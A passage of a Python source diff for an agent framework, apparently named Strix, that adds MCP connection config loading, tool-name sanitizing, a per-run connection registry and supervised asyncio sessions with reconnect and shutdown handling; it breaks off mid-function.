def _dedupe_by_name(configs: list[McpConnectionConfig]) -> list[McpConnectionConfig]:
|
||||
"""Keep the first connection of each name, dropping later duplicates.
|
||||
|
||||
A connection's name is its key in the run's registry, so two connections
|
||||
sharing a name would collide and the second would overwrite the first. Drop
|
||||
the duplicate here, with a warning, instead.
|
||||
"""
|
||||
seen: set[str] = set()
|
||||
unique: list[McpConnectionConfig] = []
|
||||
for config in configs:
|
||||
if config.name in seen:
|
||||
logger.warning(
|
||||
"Ignoring MCP server %r: another connection already uses that name "
|
||||
"(names must be unique because they namespace the server's tools).",
|
||||
config.name,
|
||||
)
|
||||
continue
|
||||
seen.add(config.name)
|
||||
unique.append(config)
|
||||
return unique
|
||||
|
||||
|
||||
def _parse_names(env_var: str) -> set[str]:
|
||||
return {name.strip() for name in os.environ.get(env_var, "").split(",") if name.strip()}
|
||||
|
||||
|
||||
def _apply_run_selection(configs: list[McpConnectionConfig]) -> list[McpConnectionConfig]:
|
||||
"""Restrict this run's connections to an optional include/exclude selection.
|
||||
|
||||
``STRIX_MCP_ONLY`` (if set) keeps only the named connections; then
|
||||
``STRIX_MCP_EXCLUDE`` drops any named connection. With neither set, every
|
||||
connection is kept.
|
||||
"""
|
||||
only = _parse_names(_ONLY_ENV_VAR)
|
||||
exclude = _parse_names(_EXCLUDE_ENV_VAR)
|
||||
if not only and not exclude:
|
||||
return configs
|
||||
|
||||
available = {config.name for config in configs}
|
||||
for name in sorted((only | exclude) - available):
|
||||
logger.warning(
|
||||
"MCP connection selection named %r, which is not configured; ignoring it", name
|
||||
)
|
||||
|
||||
selected: list[McpConnectionConfig] = []
|
||||
for config in configs:
|
||||
if only and config.name not in only:
|
||||
continue
|
||||
if config.name in exclude:
|
||||
continue
|
||||
selected.append(config)
|
||||
return selected
|
||||
|
||||
|
||||
def load_user_mcp_configs(path: Path | None = None) -> list[McpConnectionConfig]:
|
||||
"""Load MCP connection configs from the user's JSON file.
|
||||
|
||||
The path is ``path`` if given, else ``$STRIX_MCP_CONFIG``, else
|
||||
``~/.strix/mcp-servers.json``. The file is a JSON list of server entries.
|
||||
A missing file returns ``[]``; an unreadable or non-list file is logged and
|
||||
returns ``[]``; individual entries that fail validation are logged and
|
||||
skipped. Connections sharing a name are de-duplicated (first wins), and an
|
||||
optional per-run include/exclude selection is applied last.
|
||||
"""
|
||||
source = _resolve_path(path)
|
||||
if not source.exists():
|
||||
return []
|
||||
|
||||
try:
|
||||
raw = json.loads(source.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
logger.exception("Could not read MCP config at %s; ignoring it", source)
|
||||
return []
|
||||
|
||||
if not isinstance(raw, list):
|
||||
logger.warning("MCP config at %s is not a JSON list; ignoring it", source)
|
||||
return []
|
||||
|
||||
entries = cast("list[object]", raw)
|
||||
configs: list[McpConnectionConfig] = []
|
||||
for index, entry in enumerate(entries):
|
||||
try:
|
||||
configs.append(McpConnectionConfig.model_validate(entry))
|
||||
except ValidationError as exc:
|
||||
logger.warning("Skipping invalid MCP server entry #%d in %s: %s", index, source, exc)
|
||||
|
||||
return _apply_run_selection(_dedupe_by_name(configs))
|
||||
29
strix/tools/mcp/naming.py
Normal file
29
strix/tools/mcp/naming.py
Normal file
@@ -0,0 +1,29 @@
|
||||
"""How an MCP server's tools are named for the model.
|
||||
|
||||
Kept apart from the client, and stdlib-only, so a caller can build the
|
||||
model-facing name for a connection's tool without importing the MCP client (and
|
||||
through it the agents SDK and every registered tool).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
|
||||
|
||||
# A tool name offered to a model has to be letters, digits, underscores or
|
||||
# hyphens; anything else is rejected outright by the model APIs. Three things can
|
||||
# put a stray character in one: the separator between the connection and the tool
|
||||
# name, a name the server chose for its own tool (servers commonly namespace
|
||||
# theirs), and the connection name out of the user's config file. Sanitizing the
|
||||
# finished name covers all three rather than only the separator.
|
||||
_INVALID_TOOL_NAME_CHARS = re.compile(r"[^a-zA-Z0-9_-]")
|
||||
|
||||
|
||||
def namespaced_tool_name(connection: str, tool: str) -> str:
|
||||
"""The name a connection's tool is offered to the model under.
|
||||
|
||||
Only the model-facing name is rewritten. Every call to the server uses the
|
||||
tool name the server itself reported, so sanitizing here can never change
|
||||
which tool is invoked.
|
||||
"""
|
||||
return _INVALID_TOOL_NAME_CHARS.sub("_", f"{connection}_{tool}")
|
||||
287
strix/tools/mcp/registry.py
Normal file
287
strix/tools/mcp/registry.py
Normal file
@@ -0,0 +1,287 @@
|
||||
"""Per-run registry of the MCP connections a scan may reach.
|
||||
|
||||
Replaces per-tool registration. The old model turned every tool of every
|
||||
connected MCP server into its own agent tool, so a run with a handful of
|
||||
connections put dozens of provider tool schemas on the root agent's first LLM
|
||||
request. Instead, a run holds its live connections here, keyed by the name the
|
||||
user gave each connection, and every agent reaches them through three generic
|
||||
dispatch tools: ``list_mcps`` to discover the available connections, ``describe_mcp``
|
||||
to learn one connection's tool schemas on demand, and ``call_mcp`` to run one of
|
||||
its tools.
|
||||
|
||||
One :class:`McpRegistry` is built per run in :mod:`strix.core.runner`, stored in
|
||||
the run context under :data:`MCP_REGISTRY_CONTEXT_KEY`, and shared by the root
|
||||
agent and every child (the child context is a copy of the parent's, so it
|
||||
carries the same registry object).
|
||||
|
||||
strix-pro imports :class:`McpRegistry` to add its cloud connections into the
|
||||
same registry and to attach a per-connection ``result_transform`` (its
|
||||
sanitizer), which :func:`strix.tools.mcp.client.dispatch_mcp_call` applies at the
|
||||
single dispatch point.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import dataclasses
|
||||
from typing import TYPE_CHECKING, Any, NamedTuple
|
||||
|
||||
from strix.tools.mcp.session import SupervisedMcpSession
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from agents.mcp import MCPServer
|
||||
|
||||
from strix.tools.mcp.client import ResultTransform
|
||||
from strix.tools.mcp.config import McpConnectionConfig
|
||||
|
||||
|
||||
# The run-context key under which the runner stores the per-run registry, and
|
||||
# the two dispatch tools read it back. Kept here so the tools, the runner, and
|
||||
# strix-pro all agree on one name.
|
||||
MCP_REGISTRY_CONTEXT_KEY = "mcp_registry"
|
||||
|
||||
|
||||
# The two connection-scoped dispatch tools an interface attributes to a specific
|
||||
# MCP connection. ``call_mcp`` runs one tool on a connection; ``describe_mcp``
|
||||
# lists a connection's tool schemas. (``list_mcps`` is deliberately not here: it
|
||||
# names no single connection, so it renders as an ordinary tool call.) Kept here
|
||||
# (not in the interface layer) so the engine, the OSS viewer, and strix-pro's
|
||||
# tracer all recognise a connection-scoped dispatch call by the same names.
|
||||
CALL_MCP_TOOL = "call_mcp"
|
||||
DESCRIBE_MCP_TOOL = "describe_mcp"
|
||||
MCP_DISPATCH_TOOLS = frozenset({CALL_MCP_TOOL, DESCRIBE_MCP_TOOL})
|
||||
|
||||
|
||||
@dataclasses.dataclass(frozen=True)
|
||||
class McpConnectionEntry:
|
||||
"""One live MCP connection a scan may reach, keyed by ``name``.
|
||||
|
||||
``session`` is the :class:`~strix.tools.mcp.session.SupervisedMcpSession` that
|
||||
owns the connection on its own task; the dispatch tools list tools and call
|
||||
tools through it (``session.list_tools`` / ``session.dispatch``) so a session
|
||||
failure is contained and can reconnect. ``purpose`` is the human label
|
||||
``list_mcps`` reports as the connection's description (the user's connection
|
||||
notes, or whatever the caller supplies). ``tool_count`` is how many tools the
|
||||
connection offers, also reported by ``list_mcps``. ``result_transform``, when
|
||||
set, runs on each call's structured result at the single dispatch point
|
||||
(strix-pro's sanitizer uses it). ``provider`` is an optional source label
|
||||
(e.g. ``"supabase"``) the caller tags the connection with; the command-line
|
||||
path leaves it ``None``, and event tagging surfaces it when set.
|
||||
|
||||
The connection config the session reconnects with (and its bearer token) lives
|
||||
on ``session`` in memory only. It is reached via :attr:`config` for the
|
||||
reconnect path and is never logged, serialized into the event stream, or
|
||||
written to disk.
|
||||
"""
|
||||
|
||||
session: SupervisedMcpSession
|
||||
name: str
|
||||
purpose: str | None = None
|
||||
tool_count: int = 0
|
||||
result_transform: ResultTransform | None = None
|
||||
provider: str | None = None
|
||||
|
||||
@property
|
||||
def server(self) -> MCPServer | None:
|
||||
"""The current live server behind the session (swapped on reconnect).
|
||||
|
||||
Kept so existing callers that read ``entry.server`` keep working; new code
|
||||
should call through ``entry.session`` so reconnect and containment apply.
|
||||
"""
|
||||
return self.session.server
|
||||
|
||||
@property
|
||||
def config(self) -> McpConnectionConfig | None:
|
||||
"""The session's reconnect config. Carries the bearer token; never log it."""
|
||||
return self.session.config
|
||||
|
||||
|
||||
@dataclasses.dataclass(frozen=True)
|
||||
class McpConnectionSummary:
|
||||
"""One connection summary ``list_mcps`` returns: what an agent needs to decide
|
||||
whether to ``describe_mcp`` a connection, with no tool schemas."""
|
||||
|
||||
name: str
|
||||
purpose: str | None
|
||||
tool_count: int
|
||||
provider: str | None = None
|
||||
|
||||
|
||||
@dataclasses.dataclass(frozen=True)
|
||||
class McpConnectionStatus:
|
||||
"""One connection's live status for the interfaces (the TUI panel, the app
|
||||
strip, and the roster signal the app consumes).
|
||||
|
||||
Non-secret by construction: only the connection ``name``, its ``provider``
|
||||
label, its ``tool_count``, and whether its live session is currently ``dead``
|
||||
(its reconnect-retry gave up). No config, token, url, or purpose rides here.
|
||||
``dead`` is read live off the connection's session at the moment this is
|
||||
built, so a fresh :meth:`McpRegistry.statuses` reflects the current health.
|
||||
"""
|
||||
|
||||
name: str
|
||||
provider: str | None
|
||||
tool_count: int
|
||||
dead: bool
|
||||
|
||||
|
||||
@dataclasses.dataclass(frozen=True)
|
||||
class McpConnectionRequest:
|
||||
"""A source-agnostic request to attach one MCP connection to a run.
|
||||
|
||||
The caller hands the engine an inert ``config`` (how to reach the server, its
|
||||
name, and any auth token) plus metadata, and never a live session: the engine
|
||||
owns connecting and cleaning up. ``provider`` is an optional source label
|
||||
(e.g. ``"supabase"``; empty for the command-line path). ``result_transform``
|
||||
is an optional per-connection transform run on each call's structured result
|
||||
at the single dispatch point (strix-pro's sanitizer; empty for the
|
||||
command-line path). ``purpose`` is the human label ``list_mcps`` reports as the
|
||||
connection's description; when unset it falls back to ``config.notes``.
|
||||
"""
|
||||
|
||||
config: McpConnectionConfig
|
||||
provider: str | None = None
|
||||
result_transform: ResultTransform | None = None
|
||||
purpose: str | None = None
|
||||
|
||||
|
||||
class McpCallInfo(NamedTuple):
|
||||
"""What one MCP dispatch call resolved to: the connection name, the
|
||||
underlying tool (empty for ``describe_mcp``), and the connection's provider
|
||||
label (``None`` when unknown or untagged)."""
|
||||
|
||||
connection: str
|
||||
tool: str
|
||||
provider: str | None
|
||||
|
||||
|
||||
class McpRegistry:
|
||||
"""Connection name -> live MCP connection, built per run and shared by every
|
||||
agent in the run.
|
||||
|
||||
Public API (strix-pro builds against it): the constructor, :meth:`add`,
|
||||
:meth:`get`, and :meth:`summaries`.
|
||||
"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._entries: dict[str, McpConnectionEntry] = {}
|
||||
|
||||
def add(
|
||||
self,
|
||||
*,
|
||||
name: str,
|
||||
session: SupervisedMcpSession | None = None,
|
||||
server: MCPServer | None = None,
|
||||
config: McpConnectionConfig | None = None,
|
||||
purpose: str | None = None,
|
||||
tool_count: int = 0,
|
||||
result_transform: ResultTransform | None = None,
|
||||
provider: str | None = None,
|
||||
) -> McpConnectionEntry:
|
||||
"""Register one connection under ``name`` (last write wins).
|
||||
|
||||
Pass ``session`` for a session the engine already supervises (the attach
|
||||
path does this). Pass ``server`` for an already-connected server the caller
|
||||
owns (strix-pro's cloud sessions): it is adopted into a session that runs
|
||||
calls inline against it, and reconnects only when a ``config`` is also
|
||||
given. Exactly one of ``session`` or ``server`` is required.
|
||||
"""
|
||||
if session is None:
|
||||
if server is None:
|
||||
raise ValueError("McpRegistry.add requires either 'session' or 'server'")
|
||||
session = SupervisedMcpSession.adopt(server, name=name, config=config)
|
||||
entry = McpConnectionEntry(
|
||||
session=session,
|
||||
name=name,
|
||||
purpose=purpose,
|
||||
tool_count=tool_count,
|
||||
result_transform=result_transform,
|
||||
provider=provider,
|
||||
)
|
||||
self._entries[name] = entry
|
||||
return entry
|
||||
|
||||
def get(self, name: str) -> McpConnectionEntry | None:
|
||||
"""The connection registered under ``name``, or ``None``."""
|
||||
return self._entries.get(name)
|
||||
|
||||
def names(self) -> list[str]:
|
||||
"""The registered connection names, in insertion order."""
|
||||
return list(self._entries)
|
||||
|
||||
def summaries(self) -> list[McpConnectionSummary]:
|
||||
"""One inventory summary per connection, in insertion order."""
|
||||
return [
|
||||
McpConnectionSummary(
|
||||
name=entry.name,
|
||||
purpose=entry.purpose,
|
||||
tool_count=entry.tool_count,
|
||||
provider=entry.provider,
|
||||
)
|
||||
for entry in self._entries.values()
|
||||
]
|
||||
|
||||
def statuses(self) -> list[McpConnectionStatus]:
|
||||
"""One live status per connection, in insertion order.
|
||||
|
||||
Reads each connection's ``dead`` flag off its session at call time, so the
|
||||
interfaces (the TUI panel via the Python backend projection, and the
|
||||
roster signal the app consumes) get the current health each time they
|
||||
rebuild. Non-secret: name, provider, tool_count, dead only."""
|
||||
return [
|
||||
McpConnectionStatus(
|
||||
name=entry.name,
|
||||
provider=entry.provider,
|
||||
tool_count=entry.tool_count,
|
||||
dead=entry.session.is_dead,
|
||||
)
|
||||
for entry in self._entries.values()
|
||||
]
|
||||
|
||||
def clear(self) -> None:
|
||||
"""Drop every connection (the sessions themselves are closed by the
|
||||
runner)."""
|
||||
self._entries.clear()
|
||||
|
||||
def __len__(self) -> int:
|
||||
return len(self._entries)
|
||||
|
||||
def __bool__(self) -> bool:
|
||||
return bool(self._entries)
|
||||
|
||||
|
||||
def resolve_mcp_call(
|
||||
tool_name: str,
|
||||
args: dict[str, Any],
|
||||
registry: McpRegistry | None = None,
|
||||
) -> McpCallInfo | None:
|
||||
"""Resolve one tool call to the MCP connection/tool/provider it went out to.
|
||||
|
||||
The single resolver both the OSS viewer and strix-pro's tracer read a
|
||||
dispatch call through, so a call is attributed the same way everywhere. Every
|
||||
MCP call an agent makes goes through ``call_mcp`` or ``describe_mcp``, and the
|
||||
connection (and, for ``call_mcp``, the server's own tool name) ride in the
|
||||
call's ``args`` rather than the tool name, so they are read from there.
|
||||
|
||||
Returns ``None`` when ``tool_name`` is not one of the two dispatch tools, when
|
||||
the call carries no connection name, or when a ``registry`` is supplied and
|
||||
has no connection under that name. ``tool`` is the underlying tool for
|
||||
``call_mcp`` and empty for ``describe_mcp`` (which inspects the connection
|
||||
itself). ``provider`` comes from the registry entry; it is ``None`` when no
|
||||
``registry`` is supplied (the viewer projects calls without one) or when the
|
||||
connection carries no provider label.
|
||||
"""
|
||||
if tool_name not in MCP_DISPATCH_TOOLS:
|
||||
return None
|
||||
connection = args.get("connection")
|
||||
if not isinstance(connection, str) or not connection:
|
||||
return None
|
||||
provider: str | None = None
|
||||
if registry is not None:
|
||||
entry = registry.get(connection)
|
||||
if entry is None:
|
||||
return None
|
||||
provider = entry.provider
|
||||
raw_tool = args.get("tool") if tool_name == CALL_MCP_TOOL else ""
|
||||
tool = raw_tool if isinstance(raw_tool, str) else ""
|
||||
return McpCallInfo(connection=connection, tool=tool, provider=provider)
|
||||
536
strix/tools/mcp/session.py
Normal file
536
strix/tools/mcp/session.py
Normal file
@@ -0,0 +1,536 @@
|
||||
"""Own each MCP connection's live session on its own supervising task.
|
||||
|
||||
The bug this fixes: the streamable-HTTP transport (the ``mcp`` SDK) opens an
|
||||
internal anyio task group when ``server.connect()`` runs, and that task group's
|
||||
cancel scope is entered on whatever task called ``connect()`` and stays open for
|
||||
the session's whole life. In the old code that task was the run's main task, the
|
||||
one the agent loop runs on. So when a provider returned an HTTP error on one of
|
||||
the transport's background tasks (for example a ``403`` on a background POST),
|
||||
the task group cancelled its scope, the cancellation
|
||||
propagated to the main task, and the whole scan died with a bare
|
||||
``CancelledError`` (mislabeled as a user interrupt). Teardown then raised
|
||||
"Attempted to exit cancel scope in a different task than it was entered in"
|
||||
because cleanup ran on a different task than connect.
|
||||
|
||||
The fix, mirroring how child agents run on their own ``asyncio.create_task``
|
||||
(see :func:`strix.core.execution.spawn_child_agent`): give each connection its
|
||||
own dedicated supervising task that owns ``connect()``, the session's held-open
|
||||
lifetime, and ``cleanup()``. Three consequences:
|
||||
|
||||
- **Containment.** The transport's cancel scope is now entered on the supervising
|
||||
task, so a background failure cancels only that task. The run and every other
|
||||
connection keep going.
|
||||
- **Co-located teardown.** ``connect()`` and ``cleanup()`` run on the same task,
|
||||
so the "exit cancel scope in a different task" error cannot happen.
|
||||
- **A value, not a cancellation, reaches the caller.** The agent never touches the
|
||||
live session directly. It hands a call to the supervising task over a queue and
|
||||
awaits the result as a value; if the session task dies, the caller gets a
|
||||
"connection unavailable" value instead of a cancellation propagating into the
|
||||
agent loop.
|
||||
|
||||
When a call fails the supervisor rebuilds and reconnects the session once (reusing
|
||||
the same config, so the same bearer token, never re-fetching credentials) and
|
||||
re-runs the one failed call once. If that still fails, the connection is marked
|
||||
dead: every later call returns the standard failed-tool output.
|
||||
|
||||
Security: the connection's :class:`~strix.tools.mcp.config.McpConnectionConfig`
|
||||
holds a live bearer credential and is kept here in memory only, on the same
|
||||
in-process object that already holds the live session. It is never logged,
|
||||
serialized into the run's event stream, or written to disk; :meth:`__repr__`
|
||||
omits it and the token field's own ``repr`` is already suppressed.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import dataclasses
|
||||
import logging
|
||||
from typing import TYPE_CHECKING, Any, cast
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Awaitable, Callable
|
||||
|
||||
from agents.mcp import MCPServer
|
||||
from mcp.types import Tool as MCPTool
|
||||
|
||||
from strix.tools.mcp.client import ResultTransform
|
||||
from strix.tools.mcp.config import McpConnectionConfig
|
||||
|
||||
# One operation to run against the live session, e.g. ``list_tools`` or a tool
|
||||
# call. Runs on the supervising task (supervised sessions) or inline (adopted
|
||||
# sessions), and its return value becomes the caller's result.
|
||||
Job = Callable[[MCPServer], Awaitable[Any]]
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# How long a graceful (sentinel) shutdown waits for the serve loop to drain
|
||||
# before the supervising task is cancelled instead. Bounds teardown so a slow or
|
||||
# hung in-flight call cannot stall it forever.
|
||||
_SHUTDOWN_TIMEOUT = 10.0
|
||||
|
||||
|
||||
class McpConnectionUnavailableError(RuntimeError):
|
||||
"""A dead MCP connection could not be reached and did not come back.
|
||||
|
||||
Raised by :meth:`SupervisedMcpSession.list_tools` when the connection is dead
|
||||
so the read-only dispatch tools (``describe_mcp``) can report it cleanly.
|
||||
:meth:`SupervisedMcpSession.dispatch` does not raise it: a call to a dead
|
||||
connection returns the standard failed-tool output instead.
|
||||
"""
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class _Outcome:
|
||||
"""What running one job resolved to: a value, or the connection being dead."""
|
||||
|
||||
value: Any = None
|
||||
dead: bool = False
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class _Request:
|
||||
"""One job handed to the supervising task, with the future its result lands in."""
|
||||
|
||||
job: Job
|
||||
future: asyncio.Future[_Outcome]
|
||||
|
||||
|
||||
class SupervisedMcpSession:
|
||||
"""One MCP connection whose live session is owned by a dedicated task.
|
||||
|
||||
Built two ways:
|
||||
|
||||
- :meth:`__init__` + :meth:`start` for a *supervised* session: the engine owns
|
||||
connecting. ``start`` spawns the supervising task, which builds and connects
|
||||
the server on itself and then serves calls handed to it over a queue. This is
|
||||
the path that contains a background session failure to one task.
|
||||
- :meth:`adopt` for an *adopted* session: the caller already holds a connected
|
||||
server (strix-pro's cloud sessions, and the test fakes). There is no
|
||||
supervising task; calls run inline against the given server. Reconnect works
|
||||
only when a config was supplied.
|
||||
|
||||
Public async API used by the dispatch tools: :meth:`list_tools` and
|
||||
:meth:`dispatch`. Lifecycle: :meth:`start`, :meth:`aclose`. Read-only:
|
||||
:attr:`name`, :attr:`server`, :attr:`config`, :attr:`is_dead`.
|
||||
"""
|
||||
|
||||
def __init__(self, config: McpConnectionConfig) -> None:
|
||||
self._name = config.name
|
||||
self._config: McpConnectionConfig | None = config
|
||||
self._server: MCPServer | None = None
|
||||
self._supervised = True
|
||||
self._task: asyncio.Task[None] | None = None
|
||||
self._queue: asyncio.Queue[_Request | None] | None = None
|
||||
self._ready: asyncio.Future[bool] | None = None
|
||||
self._pending: set[asyncio.Future[_Outcome]] = set()
|
||||
self._dead = False
|
||||
self._closing = False
|
||||
self._on_dead: Callable[[], None] | None = None
|
||||
# Guards the idle-death self-heal against a flapping server: set after an
|
||||
# idle reconnect, cleared once a real call runs. If the session dies idle
|
||||
# again before serving anything, we give up instead of reconnecting in a
|
||||
# tight loop.
|
||||
self._healed_without_progress = False
|
||||
|
||||
@classmethod
|
||||
def adopt(
|
||||
cls,
|
||||
server: MCPServer,
|
||||
*,
|
||||
name: str,
|
||||
config: McpConnectionConfig | None = None,
|
||||
) -> SupervisedMcpSession:
|
||||
"""Wrap an already-connected server without a supervising task.
|
||||
|
||||
Calls run inline against ``server`` on the caller's task, matching the old
|
||||
direct-dispatch behavior. Reconnect is available only when ``config`` is
|
||||
given; otherwise a failed call marks the connection dead.
|
||||
"""
|
||||
self = cls.__new__(cls)
|
||||
self._name = name
|
||||
self._config = config
|
||||
self._server = server
|
||||
self._supervised = False
|
||||
self._task = None
|
||||
self._queue = None
|
||||
self._ready = None
|
||||
self._pending = set()
|
||||
self._dead = False
|
||||
self._closing = False
|
||||
self._on_dead = None
|
||||
self._healed_without_progress = False
|
||||
return self
|
||||
|
||||
# -- read-only accessors --------------------------------------------------
|
||||
|
||||
@property
|
||||
def name(self) -> str:
|
||||
return self._name
|
||||
|
||||
@property
|
||||
def server(self) -> MCPServer | None:
|
||||
"""The current live server, or ``None`` once dead. Swapped on reconnect."""
|
||||
return self._server
|
||||
|
||||
@property
|
||||
def config(self) -> McpConnectionConfig | None:
|
||||
"""The connection config kept for reconnect. Carries the bearer token, so
|
||||
never log or serialize this."""
|
||||
return self._config
|
||||
|
||||
@property
|
||||
def is_dead(self) -> bool:
|
||||
return self._dead
|
||||
|
||||
def set_on_dead(self, callback: Callable[[], None] | None) -> None:
|
||||
"""Register a one-shot callback fired when the connection transitions to dead.
|
||||
|
||||
The callback runs on whatever task marks the connection dead (the
|
||||
supervising task for a supervised session, the caller's task for an
|
||||
adopted one), so it must not block. It fires at most once, on the
|
||||
healthy->dead edge, and never for a connection that only ever shut down
|
||||
cleanly. The interfaces use it to push a live "offline" status without
|
||||
polling. Exceptions from the callback are swallowed (logged) so a status
|
||||
push can never take down the session task.
|
||||
"""
|
||||
self._on_dead = callback
|
||||
|
||||
def _mark_dead(self) -> None:
|
||||
"""Flip the connection to dead and fire ``on_dead`` once on the transition."""
|
||||
if self._dead:
|
||||
return
|
||||
self._dead = True
|
||||
callback = self._on_dead
|
||||
if callback is None:
|
||||
return
|
||||
try:
|
||||
callback()
|
||||
except Exception:
|
||||
logger.exception("MCP on_dead callback for %r failed", self._name)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
# Deliberately omits the config so the bearer token can never reach a log
|
||||
# line through an accidental repr of this object.
|
||||
return f"SupervisedMcpSession(name={self._name!r}, dead={self._dead})"
|
||||
|
||||
# -- lifecycle ------------------------------------------------------------
|
||||
|
||||
async def start(self) -> bool:
|
||||
"""Spawn the supervising task, connect on it, and wait until it is ready.
|
||||
|
||||
Returns ``True`` when the session connected, ``False`` when the initial
|
||||
connect failed (the caller then skips this connection, fail-open). Only
|
||||
valid for a supervised session.
|
||||
"""
|
||||
loop = asyncio.get_running_loop()
|
||||
self._queue = asyncio.Queue()
|
||||
self._ready = loop.create_future()
|
||||
self._task = asyncio.create_task(self._supervise(), name=f"mcp-session-{self._name}")
|
||||
return await self._ready
|
||||
|
||||
async def aclose(self) -> None:
|
||||
"""Shut the connection down and clean up its session on its owning task.
|
||||
|
||||
For a connected supervised session this signals the supervising task with a
|
||||
sentinel so ``cleanup()`` runs on the same task that ran ``connect()``,
|
||||
giving an orderly shutdown the supervisor tells apart from a session death.
|
||||
Teardown is always bounded: if the serve loop cannot drain the sentinel in
|
||||
time (a slow or hung in-flight call), or the session never finished
|
||||
connecting (including a connect cancelled mid-await), the task is cancelled
|
||||
instead. ``_closing`` is set first, so the supervisor treats that
|
||||
cancellation as shutdown and still cleans up on its own task.
|
||||
"""
|
||||
self._closing = True
|
||||
if self._supervised and self._task is not None:
|
||||
if not self._task.done():
|
||||
# A cancelled readiness future (the connect was cancelled mid-await)
|
||||
# counts as "not connected": never call ``.result()`` on it, which
|
||||
# would raise here and skip the cleanup below.
|
||||
connected = (
|
||||
self._ready is not None
|
||||
and self._ready.done()
|
||||
and not self._ready.cancelled()
|
||||
and self._ready.result()
|
||||
)
|
||||
if connected and self._queue is not None:
|
||||
# Reached the serve loop: a sentinel gives a clean, cancel-free
|
||||
# teardown, with cleanup() running on the supervising task. Bound
|
||||
# it, though: a hung in-flight call would otherwise leave the
|
||||
# sentinel queued behind it forever, so cancel the task if the
|
||||
# drain does not finish in time (wait_for cancels it on timeout).
|
||||
with contextlib.suppress(Exception):
|
||||
await self._queue.put(None)
|
||||
with contextlib.suppress(
|
||||
asyncio.TimeoutError, asyncio.CancelledError, Exception
|
||||
):
|
||||
await asyncio.wait_for(self._task, _SHUTDOWN_TIMEOUT)
|
||||
else:
|
||||
# Still stuck in connect(), never connected, or connect
|
||||
# cancelled: cancel to unstick it.
|
||||
self._task.cancel()
|
||||
with contextlib.suppress(asyncio.CancelledError, Exception):
|
||||
await self._task
|
||||
else:
|
||||
await self._safe_cleanup()
|
||||
self._fail_pending()
|
||||
|
||||
# -- caller-facing operations --------------------------------------------
|
||||
|
||||
async def list_tools(self) -> list[MCPTool]:
|
||||
"""List the connection's tools, reconnecting once if the session died.
|
||||
|
||||
Raises :class:`McpConnectionUnavailableError` when the connection is dead.
|
||||
"""
|
||||
outcome = await self._run_job(lambda server: server.list_tools())
|
||||
if outcome.dead:
|
||||
raise McpConnectionUnavailableError(self._unavailable_message())
|
||||
return cast("list[MCPTool]", outcome.value)
|
||||
|
||||
async def dispatch(
|
||||
self,
|
||||
tool_name: str,
|
||||
arguments: dict[str, Any],
|
||||
*,
|
||||
label: str,
|
||||
result_transform: ResultTransform | None = None,
|
||||
) -> Any:
|
||||
"""Run one tool call, reconnecting once and retrying once on session death.
|
||||
|
||||
Returns the tool output on success, or the standard failed-tool output
|
||||
(``success: False``) with a "connection unavailable" message when the
|
||||
connection is dead.
|
||||
"""
|
||||
from strix.tools.mcp.client import dispatch_mcp_call
|
||||
|
||||
async def job(server: MCPServer) -> Any:
|
||||
return await dispatch_mcp_call(
|
||||
server,
|
||||
tool_name,
|
||||
arguments,
|
||||
label=label,
|
||||
result_transform=result_transform,
|
||||
)
|
||||
|
||||
outcome = await self._run_job(job)
|
||||
if outcome.dead:
|
||||
from strix.tools.mcp.client import _errored_tool_output
|
||||
|
||||
return _errored_tool_output(self._unavailable_message())
|
||||
return outcome.value
|
||||
|
||||
# -- job routing ----------------------------------------------------------
|
||||
|
||||
async def _run_job(self, job: Job) -> _Outcome:
|
||||
"""Route one job to the owning task (supervised) or run it inline (adopted)."""
|
||||
if self._supervised:
|
||||
return await self._submit(job)
|
||||
return await self._execute(job)
|
||||
|
||||
async def _submit(self, job: Job) -> _Outcome:
|
||||
"""Hand a job to the supervising task and await its result as a value."""
|
||||
if self._dead or self._closing or self._task is None or self._task.done():
|
||||
return _Outcome(dead=True)
|
||||
loop = asyncio.get_running_loop()
|
||||
future: asyncio.Future[_Outcome] = loop.create_future()
|
||||
self._pending.add(future)
|
||||
if self._queue is None:
|
||||
self._pending.discard(future)
|
||||
return _Outcome(dead=True)
|
||||
await self._queue.put(_Request(job=job, future=future))
|
||||
# The task may have ended between the guard above and the put; ``_fail_pending``
|
||||
# would then never see this future, so resolve it here.
|
||||
if self._task.done() and not future.done():
|
||||
self._pending.discard(future)
|
||||
return _Outcome(dead=True)
|
||||
return await future
|
||||
|
||||
# -- the supervising task -------------------------------------------------
|
||||
|
||||
async def _supervise(self) -> None:
|
||||
"""Own the session for its whole life on one task: connect, serve, clean up."""
|
||||
try:
|
||||
self._server = await self._open()
|
||||
except asyncio.CancelledError:
|
||||
# The connect was cancelled (the run is going down, or the transport
|
||||
# scope cancelled mid-connect). Report not-ready so the attach path
|
||||
# treats it as a skipped connection; do not propagate.
|
||||
self._report_ready(value=False)
|
||||
await self._safe_cleanup()
|
||||
self._fail_pending()
|
||||
return
|
||||
except Exception:
|
||||
logger.exception("Skipping MCP connection %r", self._name)
|
||||
self._report_ready(value=False)
|
||||
await self._safe_cleanup()
|
||||
self._fail_pending()
|
||||
return
|
||||
|
||||
self._report_ready(value=True)
|
||||
try:
|
||||
await self._serve_loop()
|
||||
finally:
|
||||
await self._safe_cleanup()
|
||||
self._fail_pending()
|
||||
|
||||
async def _serve_loop(self) -> None:
|
||||
assert self._queue is not None
|
||||
while True:
|
||||
try:
|
||||
request = await self._queue.get()
|
||||
except asyncio.CancelledError:
|
||||
# A cancellation while idle is the transport's task group cancelling
|
||||
# this supervising task because a background session task failed.
|
||||
# Contained here. If we are closing, this is an ordinary shutdown,
|
||||
# so let it propagate. Otherwise try to self-heal once: reconnect a
|
||||
# fresh session and keep serving. The flag stops a flapping server
|
||||
# (one that dies again before serving any call) from reconnecting in
|
||||
# a tight loop; there we give up and mark the connection dead. Later
|
||||
# calls then short-circuit to the dead output without this task.
|
||||
if self._closing:
|
||||
raise
|
||||
